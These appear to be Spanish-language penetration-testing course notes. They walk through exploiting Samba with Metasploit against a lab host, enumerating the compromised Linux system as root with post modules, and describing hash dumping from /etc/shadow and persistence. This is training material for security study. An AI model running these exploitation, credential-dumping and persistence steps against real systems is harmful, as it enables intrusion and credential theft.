Linux Post Exploitation

Linux Post Exploitation Modules

El MSF nos proporciona varios módulos de post explotación tanto para Windows como para Linux.

Podemos utilizar estos módulos de post explotación para enumerar información sobre el sistema Linux al que tenemos acceso actualmente:

  • Enumerate system configuration

  • Enumerate environment variables

  • Enumerate network configuration

  • VM check

  • Enumerate user history

Demo: Linux Post Exploitation Modules

msf5 > workspace -a Linux_PE
msf5 > setg RHOSTS 192.112.165.3
msf5 > db_nmap -sv 192.112.165.3

msf5 > search type:exploit samba
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > show options
msf5 exploit(linux/samba/is_known_pipename) > exploit
# Esto le puede abrir un shell de forma automatica

# CTRL+Z y despues escalar privilegios automaticamente
msf5 exploit(linux/samba/is_known_pipename) > sessions -u 1
msf5 exploit(linux/samba/is_known_pipename) > sessions
msf5 exploit(linux/samba/is_known_pipename) > sessions 2

meterpreter > sysinfo
meterpreter > getuid

# para comandos nativos
meterpreter > shell
root@victim-l:/tmp# whoami

# Enumerar cuentas
root@victim-l:/tmp# cat /etc/passwd

# Enumerar que grupos forman parte del usuario actual
root@victim-l:/tmp# groups root

# Enumerar la version de lanzamiento/distribucion
root@victim-l:/tmp# cat /etc/*issue

# Enumerar la version del kernel y arquitectura
root@victim-l:/tmp# uname -r
root@victim-l:/tmp# uname -a

# Enumeracon de red
root@victim-l:/tmp# ip a s

# Enumerar servicios abierto
root@victim-l:/tmp# netstat -antp

# Enumerar procesos
root@victim-l:/tmp# ps aux

#Enumerar variables de entorno
root@victim-l:/tmp# env

# MODULOS DE POST-EXPLOTITATION

# Nota: Es opcional limpiar la sesion anterior "sessions -u 1"

# Modulo que mostrara todas las configuraciones
msf5 exploit(linux/samba/is_known_pipename) > search enum configs
msf5 exploit(linux/samba/is_known_pipename) > use post/linux/gather/enum_configs
msf5 post(linux/gather/enum_configs) > show options
msf5 post(linux/gather/enum_configs) > set SESSION 3
msf5 post(linux/gather/enum_configs) > run
# Obtendra todos los archivos de configuracion
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_configs) > loot

# Modulo de Variables de entorno
msf5 post(linux/gather/enum_configs) > search env platform:linux
msf5 post(linux/gather/enum_configs) > use post/multi/gather/env
msf5 post(multi/gather/env) > show options
msf5 post(multi/gather/env) > set SESSION 1
msf5 post(multi/gather/env) > run

# Modulo para enuemrar la red
msf5 post (multi/gather/env) > search enum_network
msf5 post(linux/gather/enum_network) > show options
msf5 post(linux/gather/enum_network) > set SESSION 3
msf5 post(linux/gather/enum_network) > run
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_network) > loot
# Pude hacer un cat a todos los archivos enumerados

# Modulo para enumero las diversas protecciones como IPTables, etc.
msf5 post(linux/gather/enum_network) > search enum_protectionsl
msf5 post(linux/gather/enum_network) > use post/linux/gather/enum_protections
msf5 post(linux/gather/enum protections) > info
msf5 post(linux/gather/enum_protections) > set SESSION 3
msf5 post(linux/gather/enum_protections) > run
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_protections) > notes


# Modulo de enumracion del sistema
msf5 post(linux/gather/enum_protections) > search enum_system
msf5 post(linux/gather/enum_protections) > use post/linux/gather/enum_system

msf5 post(linux/gather/enum_system) > show options
msf5 post(linux/gather/enum_system) > info
msf5 post(linux/gather/enum_system) > set SESSION 3
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_system) > loot

# Enumeracion de contenedor
msf5 post(linux/gather/enum system) > search checkcontainer
msf5 post(linux/gather/enum_system) > use post/linux/gather/checkcontaine
msf5 post(linux/gather/checkcontainer) > show options
msf5 post(linux/gather/checkcontainer) > set SESSION 3
msf5 post(linux/gather/checkcontainer) > run

# Modulo si esta virtualizado
msf5 post(linux/gather/checkcontainer) > search checkvm
msf5 post(linux/gather/checkcontainer) > use post/linux/gather/checkvm
msf5 post(linux/gather/checkvm) > show options
msf5 post(linux/gather/checkvm) > set SESSION 3
msf5 post(linux/gather/checkvm) > run

# Modulo para enumerar el historial de usuarios(comandos ejecutados x usuarios)
msf5 post(linux/gather/checkvm) > search enum_users_history
msf5 post(linux/gather/checkvm) > use post/linux/gather/enum_users_history
msf5 post(linux/gather/enum users_history) > show options
msf5 post(linux/gather/enum users_history) > set SESSION 3
msf5 post(linux/gather/enum users_history) > run
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum users_history) > loot

Quiz: Linux Post Exploitation Modules

Linux Privilege Escalation: Exploiting A Vulnerable Program

Linux Privilege Escalation

Las técnicas de escalada de privilegios que podemos utilizar dependerán de la versión del kernel de Linux que se esté ejecutando en el sistema de destino, así como de la versión de lanzamiento de la distribución.

MSF ofrece muy poco en lo que respecta a los módulos de explotación del kernel de Linux; sin embargo, en algunos casos, puede haber un módulo de explotación que se pueda utilizar para explotar un servicio o programa vulnerable con el fin de elevar nuestros privilegios.

Demo: Linux Privilege Escalation: Exploiting A Vulnerable Program

Quiz: Linux Privilege Escalation: Exploiting A Vulnerable Program

Dumping Hashes With Hashdump

Podemos volcar los hashes de usuarios de Linux con el módulo de explotación posterior hashdump.

Los hashes de contraseñas de Linux se almacenan en el archivo /etc/shadow y solo pueden acceder a ellos el usuario root o un usuario con privilegios root.

El módulo hashdump se puede utilizar para volcar los hashes de cuentas de usuario desde el archivo /etc/shadow y también se puede utilizar para deshacer el shadowing de los hashes para descifrar contraseñas con John the Ripper.

Demo: Dumping Hashes With Hashdump

Quiz: Dumping Hashes With Hashdump

Establishing Persistence On Linux

La persistencia consiste en técnicas que utilizan los adversarios para mantener el acceso a los sistemas tras reinicios, cambios de credenciales y otras interrupciones que podrían cortarles el acceso.

Obtener un punto de apoyo inicial no es suficiente, es necesario configurar y mantener un acceso persistente a los objetivos.

Las técnicas de persistencia que se pueden utilizar dependerán de la configuración del objetivo.

Podemos utilizar varios módulos de persistencia posteriores a la explotación para garantizar que siempre tengamos acceso al sistema objetivo.

Demo: Establishing Persistence On Linux

Quiz: Establishing Persistence On Linux

Last updated